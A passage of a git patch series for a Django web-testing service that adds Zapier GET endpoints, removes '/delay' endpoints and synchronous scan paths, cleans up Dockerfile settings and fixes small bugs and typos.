 
 
+class SitesZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_sites_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Page Views ------ ###
 
 
@@ -147,6 +158,17 @@ def post(self, request):
 
 
 
+class PagesZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_pages_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Scan Views ------ ###
 
 
@@ -228,6 +250,17 @@ def post(self, request):
 
 
 
+class ScansZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_scans_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Test Views ------ ###
 
 
@@ -307,6 +340,18 @@ def post(self, request):
 
 
 
+
+class TestsZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_tests_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Schedule Views ------ ###
 
 
@@ -537,6 +582,17 @@ def delete(self, request, id):
 
 
 
+class TestcasesZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_testcases_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Issue Views ------ ###
 
 
@@ -583,6 +639,17 @@ def delete(self, request, id):
 
 
 
+class IssuesZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_issues_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Log Views ------ ###
 
 
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 3b833128..02e5c765 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -172,7 +172,12 @@ kubectl port-forward service/app-service 8000:8000
 # Migration Notes for DB:
 1. Go to `models.py` and comment out all new additions
 2. Spinup staging env locally to create `00001_initial.py` migration as baseline
+   - `docker compose -f docker-compose.stage.yml up -d --build`
 3. Spin down staging env
+   - `docker compose -f docker-compose.stage.yml down`
 4. Un-comment all new additions in `models.py`
 5. Spinup staging env locally again and ensure a new migration file is created in `/migrations`
-3. Spin down staging env and merge `dev` branch on github
\ No newline at end of file
+   - `docker compose -f docker-compose.stage.yml up -d --build`
+6. Spin down staging env
+   - `docker compose -f docker-compose.stage.yml down`
+7. Merge `dev` branch on github using a pull request
\ No newline at end of file

From 8b10a59bdfdd64f2ed759d0b056618d66d12dd34 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Jul 2024 13:43:46 -0600
Subject: [PATCH 0599/1099] updated Dockerfiles

---
 Dockerfile       | 20 ++++++++++----------
 Dockerfile.local | 26 +++++++++++++-------------
 2 files changed, 23 insertions(+), 23 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 6ae05831..52409c17 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -3,16 +3,20 @@ FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
 # increasing allocated memory to node
-ENV NODE_OPTIONS --max_old_space_size=20000
-ENV NODE_OPTIONS "--max-old-space-size=20000"
-ENV GENERATE_SOURCEMAP false
+ENV NODE_OPTIONS=--max_old_space_size=20000
+ENV NODE_OPTIONS="--max-old-space-size=20000"
+ENV GENERATE_SOURCEMAP=false
 
 # telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
 
 # telling phantomas where Chrome binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
-ENV DOCKERIZED yes
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/chromium
+ENV DOCKERIZED=yes
+
+# Set up the Chromium environment
+ENV XDG_CONFIG_HOME=/tmp/.chromium
+ENV XDG_CACHE_HOME=/tmp/.chromium
 
 # create the app user
 RUN addgroup --system app && adduser --system app 
@@ -44,10 +48,6 @@ RUN chromium --disable-dev-shm-usage  --version
 COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3 -m pip install -r /requirements.txt
 
-# Set up the Chromium environment
-ENV XDG_CONFIG_HOME /tmp/.chromium
-ENV XDG_CACHE_HOME /tmp/.chromium
-
 # removing chromium config
 RUN rm -rf ~/.config/chromium
 
diff --git a/Dockerfile.local b/Dockerfile.local
index 18ff2646..84e7b4a7 100644
--- a/Dockerfile.local
+++ b/Dockerfile.local
@@ -1,8 +1,20 @@
+# pull main ubuntu image and set platform to linux/amd64
 FROM --platform=linux/amd64 ubuntu:latest
-ENV DOCKER_DEFAULT_PLATFORM linux/amd64 
+ENV DOCKER_DEFAULT_PLATFORM linux/amd64
 ENV PYTHONUNBUFFERED 1
 ENV DEBIAN_FRONTEND noninteractive
 
+# increasing allocated memory to node
+ENV NODE_OPTIONS=--max_old_space_size=7000
+ENV NODE_OPTIONS="--max-old-space-size=7000"
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
+
+# telling phantomas where Chrome binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/google-chrome-stable
+ENV DOCKERIZED=yes
+
 # create the app user
 RUN groupadd --system app & useradd --system app 
 
@@ -28,21 +40,9 @@ RUN rm google-chrome-stable_current_amd64.deb
 # begin npm portion
 RUN npm cache clean --force
 
-# increasing allocated memory to node
-RUN export NODE_OPTIONS="--max-old-space-size=4096"
-ENV NODE_OPTIONS=--max_old_space_size=7000
-ENV NODE_OPTIONS="--max-old-space-size=7000"
-
 # installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash
 
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-
-# telling phantomas where Chrome binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome-stable
-ENV DOCKERIZED yes
-
 # setting --no-sandbox for Phantomas 
 RUN google-chrome-stable --no-sandbox --version
 

From 7a4baf219a72ac2edea46124420168b99cb1d9dd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 24 Jul 2024 19:34:25 -0600
Subject: [PATCH 0600/1099] fixed some zapier issues

---
 app/api/v1/auth/services.py |  1 -
 app/api/v1/ops/services.py  | 24 ++++++++++++++++--------
 2 files changed, 16 insertions(+), 9 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index eb9e8053..2cac5907 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -761,7 +761,6 @@ def get_account(request: object) -> object:
     serializer_context = {'request': request,}
     serialized = AccountSerializer(account, context=serializer_context)
     data = serialized.data
-    record_api_call(request, data, '200')
     return Response(data, status=status.HTTP_200_OK)
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 944d862d..46910b66 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1387,8 +1387,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
 
     # get request data
     if request is not None:
-        site_id = request.data.get('site_id')
-        page_id = request.data.get('page_id')
+        site_id = request.data.get('site_id', '')
+        page_id = request.data.get('page_id', '')
         configs = request.data.get('configs', None)
         types = request.data.get('type', settings.TYPES)
         tags = request.data.get('tags')
@@ -1396,8 +1396,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     
     # getting kwargs data
     if request is None:
-        site_id = kwargs.get('site_id')
-        page_id = kwargs.get('page_id')
+        site_id = kwargs.get('site_id', '')
+        page_id = kwargs.get('page_id', '')
         configs = kwargs.get('configs', None)
         types = kwargs.get('type', settings.TYPES)
         tags = kwargs.get('tags')
@@ -1410,6 +1410,10 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     # updating configs if None:
     configs = account.configs if configs == None else configs
 
+    # checking args
+    site_id = site_id if len(site_id) > 0 else None
+    page_id = page_id if len(page_id) > 0 else None
+
     # verifying types
     if len(types) == 0:
         types = settings.TYPES
@@ -1971,8 +1975,8 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
         tags = request.data.get('tags')
         pre_scan = None
         post_scan = None
-        site_id = request.data.get('site_id')
-        page_id = request.data.get('page_id')
+        site_id = request.data.get('site_id', '')
+        page_id = request.data.get('page_id', '')
         user = request.user
 
     # get data from kwargs
@@ -1986,8 +1990,8 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
         tags = kwargs.get('tags')
         pre_scan = None
         post_scan = None
-        site_id = kwargs.get('site_id')
-        page_id = kwargs.get('page_id')
+        site_id = kwargs.get('site_id', '')
+        page_id = kwargs.get('page_id', '')
         user_id = kwargs.get('user_id')
         user = User.objects.get(id=user_id)
 
@@ -2001,6 +2005,10 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     if len(test_type) == 0:
         test_type = settings.TYPES
 
+    # checking args
+    site_id = site_id if len(site_id) > 0 else None
+    page_id = page_id if len(page_id) > 0 else None
+
     # deciding on scope
     resource = 'site' if site_id else 'page'
 

From 3c6648e47efaa7616ca7426d6aeaae79eb43dd9f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 25 Jul 2024 12:35:37 -0600
Subject: [PATCH 0601/1099] removed all /delay endpoints

---
 app/api/v1/ops/services.py | 194 +++++++++++--------------------------
 app/api/v1/ops/urls.py     |   5 -
 app/api/v1/ops/views.py    |  55 -----------
 3 files changed, 58 insertions(+), 196 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 46910b66..49b06be3 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -463,63 +463,36 @@ def create_site(request: object, delay: bool=False) -> object:
     # check if scan requested
     if no_scan == False:
 
-        # check if delay was requested
-        if delay == True:
-
-            # adding pages passed in request
-            if page_urls is not None:
-                for url in page_urls:
-                    if url.startswith(site.site_url):
-                        # add new page
-                        page = Page.objects.create(
-                            site=site,
-                            page_url=url,
-                            user=site.user,
-                            account=site.account,
-                        )
-                        # create scan
-                        create_scan(
-                            page_id=page.id, 
-                            configs=configs, 
-                            user_id=request.user.id,
-                            delay=True
-                        )
-                        site.time_crawl_started = datetime.now()
-                        site.time_crawl_completed = datetime.now()
-                        site.info["latest_scan"]["time_created"] = str(datetime.now())
-                        site.save()
-            
-            # starting crawler and scans in background
-            else:
-                create_site_and_pages_bg.delay(
-                    site_id=site.id, 
-                    configs=configs
-                )
-            
+        # adding pages passed in request
+        if page_urls is not None:
+            for url in page_urls:
+                if url.startswith(site.site_url):
+                    # add new page
+                    page = Page.objects.create(
+                        site=site,
+                        page_url=url,
+                        user=site.user,
+                        account=site.account,
+                    )
+                    # create scan
+                    create_scan(
+                        page_id=page.id, 
+                        configs=configs, 
+                        user_id=request.user.id,
+                        delay=True
+                    )
+                    site.time_crawl_started = datetime.now()
+                    site.time_crawl_completed = datetime.now()
+                    site.info["latest_scan"]["time_created"] = str(datetime.now())
+                    site.save()
+        
+        # starting crawler and scans in background
         else:
-            # running crawler
-            pages = Crawler(url=site.site_url, max_urls=account.max_pages).get_links()
-            for url in pages:
-                # add new page
-                page = Page.objects.create(
-                    site=site,
-                    page_url=url,
-                    user=site.user,
-                    account=site.account,
-                )
-                # create initial scan
-                scan = Scan.objects.create(
-                    site=site,
-                    page=page, 
-                    type=settings.TYPES,
-                    configs=configs
-                )
-                # run each scan component
-                S(site=site, page=page, configs=configs).build_scan()
-                page.info["latest_scan"]["id"] = str(scan.id)
-                page.info["latest_scan"]["time_created"] = str(scan.time_created)
-                page.save()
-                
+            create_site_and_pages_bg.delay(
+                site_id=site.id, 
+                configs=configs
+            )
+            
     # serialize response and return
     serializer_context = {'request': request,}
     serialized = SiteSerializer(site, context=serializer_context)
@@ -923,23 +896,9 @@ def create_page(request: object, delay: bool=False) -> object:
         page.info["latest_scan"]["time_created"] = str(scan.time_created)
         page.save()
 
-        if delay == True:
-            # running scan in background
-            scan_page_bg.delay(scan_id=scan.id, configs=configs)
+        # running scan in background
+        scan_page_bg.delay(scan_id=scan.id, configs=configs)
 
-        else:
-            # create initial scan
-            scan = Scan.objects.create(
-                site=site,
-                page=page, 
-                type=settings.TYPES,
-                configs=configs
-            )
-            # run each scan component
-            S(site=site, page=page, configs=configs).build_scan()
-            page.info["latest_scan"]["id"] = str(scan.id)
-            page.info["latest_scan"]["time_created"] = str(scan.time_created)
-            page.save()
             
     # serialize response and return
     serializer_context = {'request': request,}
@@ -1411,6 +1370,8 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     configs = account.configs if configs == None else configs
 
     # checking args
+    site_id = '' if site_id is None else site_id
+    page_id = '' if page_id is None else page_id
     site_id = site_id if len(site_id) > 0 else None
     page_id = page_id if len(page_id) > 0 else None
 
@@ -1472,20 +1433,16 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         p.info['latest_scan']['id'] = str(created_scan.id)
         p.save()
 
-        if delay == True:
-            # running scans in parallel 
-            if 'html' in types or 'logs' in types or 'full' in types:
-                run_html_and_logs_bg.delay(scan_id=created_scan.id)
-            if 'lighthouse' in types or 'full' in types:
-                run_lighthouse_bg.delay(scan_id=created_scan.id)
-            if 'yellowlab' in types or 'full' in types:
-                run_yellowlab_bg.delay(scan_id=created_scan.id)
-            if 'vrt' in types or 'full' in types:
-                run_vrt_bg.delay(scan_id=created_scan.id)
-        else:
-            # running scan synchronously
-            S(scan=created_scan, configs=configs).build_scan()
-            message = 'Scans have completed running'
+        # running scans components in parallel 
+        if 'html' in types or 'logs' in types or 'full' in types:
+            run_html_and_logs_bg.delay(scan_id=created_scan.id)
+        if 'lighthouse' in types or 'full' in types:
+            run_lighthouse_bg.delay(scan_id=created_scan.id)
+        if 'yellowlab' in types or 'full' in types:
+            run_yellowlab_bg.delay(scan_id=created_scan.id)
+        if 'vrt' in types or 'full' in types:
+            run_vrt_bg.delay(scan_id=created_scan.id)
+    
 
     # returning dynaminc response
     data = {
@@ -2006,6 +1963,8 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
         test_type = settings.TYPES
 
     # checking args
+    site_id = '' if site_id is None else site_id
+    page_id = '' if page_id is None else page_id
     site_id = site_id if len(site_id) > 0 else None
     page_id = page_id if len(page_id) > 0 else None
 
@@ -2110,56 +2069,19 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
         # add test.id to list
         created_tests.append(str(test.id))
 
-        if delay == True:
-            # running test in background
-            create_test_bg.delay(
-                page_id=p.id,
-                test_id=test.id,
-                configs=configs,
-                type=test_type,
-                index=index,
-                pre_scan=pre_scan_id, 
-                post_scan=post_scan_id,
-                tags=tags,
-                threshold=float(threshold),
-            )
-            message = 'Tests are being created in the background'
-
-        # run with no delay  
-        else:
-            # getting pre_scan and building post_scan
-            if not pre_scan and not post_scan:
-                if scan.objects.filter(page=p).exists():
-                    pre_scan = Scan.objects.filter(page=p).order_by('-time_created')[0]
-                    post_scan = S(site=p.site, page=p, configs=configs, type=test_type).build_scan()
-                else:
-                    data = {'reason': 'no pre_scan available', 'success': False,}
-                    print(data)
-                    if request is not None:
-                        record_api_call(request, data, '400')
-                        return Response(data, status=status.HTTP_400_BAD_REQUEST)
-                    return data
-
-            # building post_scan
-            if not post_scan and pre_scan:
-                post_scan = S(site=p.site, page=p, configs=configs, type=test_type).build_scan()
-
-            # updating parired scans
-            pre_scan.paired_scan = post_scan
-            post_scan.paried_scan = pre_scan
-            pre_scan.save()
-            post_scan.save()
-
-            # updating test object
-            test.type = test_type
-            test.type = test_type
-            test.pre_scan = pre_scan
-            test.post_scan = post_scan
-            test.save()
-
-            # running tester
-            updated_test = T(test=test).run_test(index=index)
-            message = 'Tests have completed running'
+        # running test in background
+        create_test_bg.delay(
+            page_id=p.id,
+            test_id=test.id,
+            configs=configs,
+            type=test_type,
+            index=index,
+            pre_scan=pre_scan_id, 
+            post_scan=post_scan_id,
+            tags=tags,
+            threshold=float(threshold),
+        )
+        message = 'Tests are being created in the background'
 
     # returning dynaminc response
     data = {
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 46fe4617..92959659 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -7,25 +7,21 @@
     path('site', views.Sites.as_view(), name='site'),
     path('site/<uuid:id>', views.SiteDetail.as_view(), name='site-detail'),
     path('site/<uuid:id>/crawl', views.SiteCrawl.as_view(), name='site-crawl'),
-    path('site/delay', views.SiteDelay.as_view(), name='site-delay'),
     path('sites/delete', views.SitesDelete.as_view(), name='sites-delete'),
     path('sites/zapier', views.SitesZapier.as_view(), name='sites-zapier'),
     path('page', views.Pages.as_view(), name='page'),
     path('page/<uuid:id>', views.PageDetail.as_view(), name='page-detail'),
-    path('page/delay', views.PageDelay.as_view(), name='page-delay'),
     path('pages/delete', views.PagesDelete.as_view(), name='pages-delete'),
     path('pages/zapier', views.PagesZapier.as_view(), name='pages-zapier'),
     path('scan', views.Scans.as_view(), name='scan'),
     path('scan/<uuid:id>', views.ScanDetail.as_view(), name='scan-detail'),
     path('scan/<uuid:id>/lean', views.ScanLean.as_view(), name='scan-lean'),
-    path('scan/delay', views.ScanDelay.as_view(), name='scan-delay'),
     path('scans/delete', views.ScansDelete.as_view(), name='scans-delete'),
     path('scans/create', views.ScansCreate.as_view(), name='scans-create'),
     path('scans/zapier', views.ScansZapier.as_view(), name='scans-zapier'),
     path('test', views.Tests.as_view(), name='test'),
     path('test/<uuid:id>', views.TestDetail.as_view(), name='test-detail'),
     path('test/<uuid:id>/lean', views.TestLean.as_view(), name='test-lean'),
-    path('test/delay', views.TestDelay.as_view(), name='test-delay'),
     path('tests/delete', views.TestsDelete.as_view(), name='tests-delete'),
     path('tests/create', views.TestsCreate.as_view(), name='tests-create'),
     path('tests/zapier', views.TestsZapier.as_view(), name='tests-zapier'),
@@ -35,7 +31,6 @@
     path('case/auto', views.AutoCases.as_view(), name='case-auto'),
     path('case/copy', views.CopyCases.as_view(), name='case-copy'),
     path('testcase', views.Testcases.as_view(), name='testcase'),
-    path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
     path('testcases/zapier', views.TestcasesZapier.as_view(), name='testcases-zapier'),
     path('issue', views.Issues.as_view(), name='issue'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index fa92fe49..d4c12a0f 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -56,17 +56,6 @@ def delete(self, request, id):
 
 
 
-class SiteDelay(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):
-        response = create_site(request, delay=True)
-        return response
-
-
-
-
 class SiteCrawl(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -136,17 +125,6 @@ def delete(self, request, id):
 
 
 
-class PageDelay(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):
-        response = create_page(request, delay=True)
-        return response
-
-
-
-
 class PagesDelete(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -217,17 +195,6 @@ def get(self, request, id):
 
 
 
-class ScanDelay(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):
-        response = create_scan(request, delay=True)
-        return response
-
-
-
-
 class ScansCreate(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -308,17 +275,6 @@ def get(self, request, id):
 
 
 
-class TestDelay(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):
-        response = create_test(request, delay=True)
-        return response
-
-
-
-
 class TestsCreate(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
@@ -556,17 +512,6 @@ def get(self, request):
 
 
 
-class TestcaseDelay(APIView):
-    permission_classes = (IsAuthenticated,)
-    http_method_names = ['post',]
-
-    def post(self, request):
-        response = create_testcase(request, delay=True)
-        return response
-
-
-
-
 class TestcaseDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']

From 02c22a8358603c16d24837b58eb0eddd36d166c1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 25 Jul 2024 20:29:59 -0600
Subject: [PATCH 0602/1099] fixed small typo

---
 app/api/utils/issuer.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 65884c4f..a2722331 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -201,7 +201,7 @@ def build_recommendation(
         # initializing
         recommendation = ''
 
-        # building recomendation
+        # building recommendation
         # for self.test
         if self.test:
             
@@ -226,7 +226,7 @@ def build_recommendation(
                 ]
             ).choices[0].message.content
         
-        # building recomendation
+        # building recommendation
         # for self.testcase
         if self.testcase:
 

From 8630a41852737a7e45cb7b24333c71a39e74b1ed Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 29 Jul 2024 12:18:18 -0600
Subject: [PATCH 0603/1099] fixed test data for zapier endpoint

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 49b06be3..8cb80c4f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2550,7 +2550,7 @@ def get_tests_zapier(request: object) -> object:
             'time_completed'   :  str(test.time_completed),
             'type'             :  test.type,
             'status'           :  str(test.status),
-            'score'            :  test.status,
+            'score'            :  test.score,
             'threshold'        :  test.threshold,
             'component_scores' :  test.component_scores,
         })

From 587a933335db64a3940c9b3baf17d1463097a815 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 29 Jul 2024 12:43:08 -0600
Subject: [PATCH 0604/1099] fixing generated links in issuer.py

---
 app/api/utils/issuer.py | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index a2722331..f88afc6d 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -91,9 +91,9 @@ def build_issue(self):
 
             # build intro
             intro = str(
-                f'Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
+                f'Testcase [{self.testcase.case_name}]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]})' + 
                 f' failed on **Step {step_index}**, `{failed_step["action"]["type"]}`.\n\n\n' +
-                f' **Affected Site:** [{affected["str"]}](/{affected["type"]}/{affected["id"]})\n\n\n'
+                f' **Affected Site:** [{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]})\n\n\n'
             )
             
             # build main_issue
@@ -145,7 +145,7 @@ def build_issue(self):
             # build intro
             intro = str(
                 f'[Test](/{trigger["type"]}/{trigger["id"]}) failed for the page ' + 
-                f'[{affected["str"]}](/{affected["type"]}/{affected["id"]}) ' + 
+                f'[{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]}) ' + 
                 f'based on the set threshold of **{round(self.test.threshold, 2)}%**.\n\n\n'
             )
 
@@ -163,6 +163,9 @@ def build_issue(self):
                 f'\n\n### Recommendations:\n' +
                 f'{response}'
             )
+        
+        # clean recommendation
+        recommendation = recommendation.replace('localhost', 'app.scanerr.io')
 
         # build details from components
         details = intro + main_issue + recommendation

From 8792c0509a7e76d7a817a455e53d04c8aa754256 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 29 Jul 2024 12:57:33 -0600
Subject: [PATCH 0605/1099] fixed API logging for zapier endpoints

---
 app/api/v1/ops/services.py | 1 -
 1 file changed, 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 8cb80c4f..5fdbf6bd 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -4621,7 +4621,6 @@ def get_testcases_zapier(request: object) -> object:
         })
 
     # serialize and return
-    record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
 

From fa413e29c4a26fbd213632289d9fb6d41a90aca3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 31 Jul 2024 23:51:41 -0400
Subject: [PATCH 0606/1099] added audits to test LH and YL defaults

---
 app/api/models.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/models.py b/app/api/models.py
index 4390939c..5a4f661d 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -94,6 +94,7 @@ def get_lh_delta_default():
             "average_delta" : None,
             "current_average": None, 
         },
+        "audits": None
     }
     return lh_delta_default
 
@@ -115,6 +116,7 @@ def get_yl_delta_default():
             "fonts_delta": None,
             "serverConfig_delta": None, 
         },
+        "audits": None
     }
     return yl_delta_default
 

From 808ec6222a19af74e62aa041811b04eb0bb4c9c6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 4 Aug 2024 14:46:29 -0600
Subject: [PATCH 0607/1099] added `cases/zapier` endpoint

---
 app/api/v1/ops/services.py | 64 ++++++++++++++++++++++++++++++++++++++
 app/api/v1/ops/urls.py     |  1 +
 app/api/v1/ops/views.py    | 11 +++++++
 3 files changed, 76 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 5fdbf6bd..158e215e 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -4330,6 +4330,70 @@ def delete_case(request: object, id: str) -> object:
 
 
 
+def get_cases_zapier(request: object) -> object:
+    """ 
+    Get all `Cases` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    account = Member.objects.get(user=request.user).account
+    site_id = request.query_params.get('site_id')
+    cases = None
+    
+    # deciding on scope
+    resource = 'case'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource, site_id=site_id,
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get all site_id associated cases
+    if site_id:
+        site = Site.objects.get(id=site_id)
+        cases = Case.objects.filter(
+            account=account,
+            site=site
+        ).order_by('-time_created')
+
+
+    # get all account assocoiated cases
+    if cases is None:
+        cases = Case.objects.filter(
+            account=account,
+        ).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for case in cases:
+        data.append({
+            'id'              :  str(case.id),
+            'name'            :  case.name,
+            'time_created'    :  str(case.time_created),
+            'site'            :  str(case.site.id),
+            'site_url'        :  case.site_url,
+            'steps'           :  case.steps,
+            'tags'            :  case.tags
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Testcase Services ------ ###
 
 
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 92959659..be335639 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -30,6 +30,7 @@
     path('case/search', views.CasesSearch.as_view(), name='case-search'),
     path('case/auto', views.AutoCases.as_view(), name='case-auto'),
     path('case/copy', views.CopyCases.as_view(), name='case-copy'),
+    path('cases/zapier', views.CasesZapier.as_view(), name='cases-zapier'),
     path('testcase', views.Testcases.as_view(), name='testcase'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
     path('testcases/zapier', views.TestcasesZapier.as_view(), name='testcases-zapier'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index d4c12a0f..e76ddbdb 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -492,6 +492,17 @@ def post(self, request):
 
 
 
+class CasesZapier(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = get_cases_zapier(request)
+        return response
+
+
+
+
 ### ------ Begin Testcase Views ------ ###
 
 

From c780cb2f93292d99255322474ad6cb63e33f4572 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Sun, 4 Aug 2024 16:56:04 -0600
Subject: [PATCH 0608/1099] updated order_by for issues

---
 app/api/v1/ops/services.py | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 158e215e..e1f35898 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2697,19 +2697,19 @@ def get_issues(request: object) -> object:
         issues = Issue.objects.filter(
             affected__icontains={'id': page_id}, 
             account=account
-        ).order_by('status', '-time_created')
+        ).order_by('-status', '-time_created')
     # get all issues scoped page if page_id passed
     if site_id is not None:
         issues = Issue.objects.filter(
             affected__icontains={'id': site_id}, 
             account=account
-        ).order_by('status', '-time_created')
+        ).order_by('-status', '-time_created')
     
     # get all account assocoiated issues
     if issues is None:
         issues = Issue.objects.filter(
             account=account
-        ).order_by('status', '-time_created')
+        ).order_by('-status', '-time_created')
 
     # serialize and return
     paginator = LimitOffsetPagination()
@@ -2783,7 +2783,7 @@ def search_issues(request: object) -> object:
         Q(account=account, title__icontains=query) |
         Q(account=account, details__icontains=query) |
